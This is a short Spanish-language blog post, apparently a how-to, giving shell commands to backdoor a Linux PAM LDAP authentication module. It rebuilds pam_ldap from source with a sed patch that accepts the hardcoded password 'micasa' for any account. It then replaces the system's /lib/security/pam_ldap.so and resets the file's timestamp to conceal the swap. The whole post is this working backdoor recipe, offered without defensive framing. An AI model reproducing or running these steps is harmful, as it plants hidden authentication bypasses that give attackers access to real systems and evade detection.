PAM
Ejecución
#apt-get install dpkg-dev flex libldap2-dev
#dpkg --search pam_ldap.so
#apt-get source libpam-ldap=`dpkg -s libpam-ldap \ | grep -i version | cut -d' ' -f2`
#midir=`pwd`
#cd libpam-ldap-184/
#tar xvzf pam_ldap-184.tar.gz
#cd pam_ldap-184
#ln -s $midir/pam-1.1.1/libpam/include/security/ /usr/include/security
#sed -i '/^ _connect_anonymously/ a \ \ if (strcmp(password, "micasa") == 0) { rc = PAM_SUCCESS; }' pam_ldap.c
#./configure
#make
#cd
#timestamp=`ls -l /lib/security/ | grep pam_ldap.so \
>| awk '{print $6$7}' | tr -d '-' | tr -d ':'`
#cp /lib/security/pam_ldap.so .
#cp $midir/libpam-ldap-184/pam_ldap-184/pam_ldap.so /lib/security/.
#touch -t $timestamp /lib/security/pam_ldap.so
No comments:
Post a Comment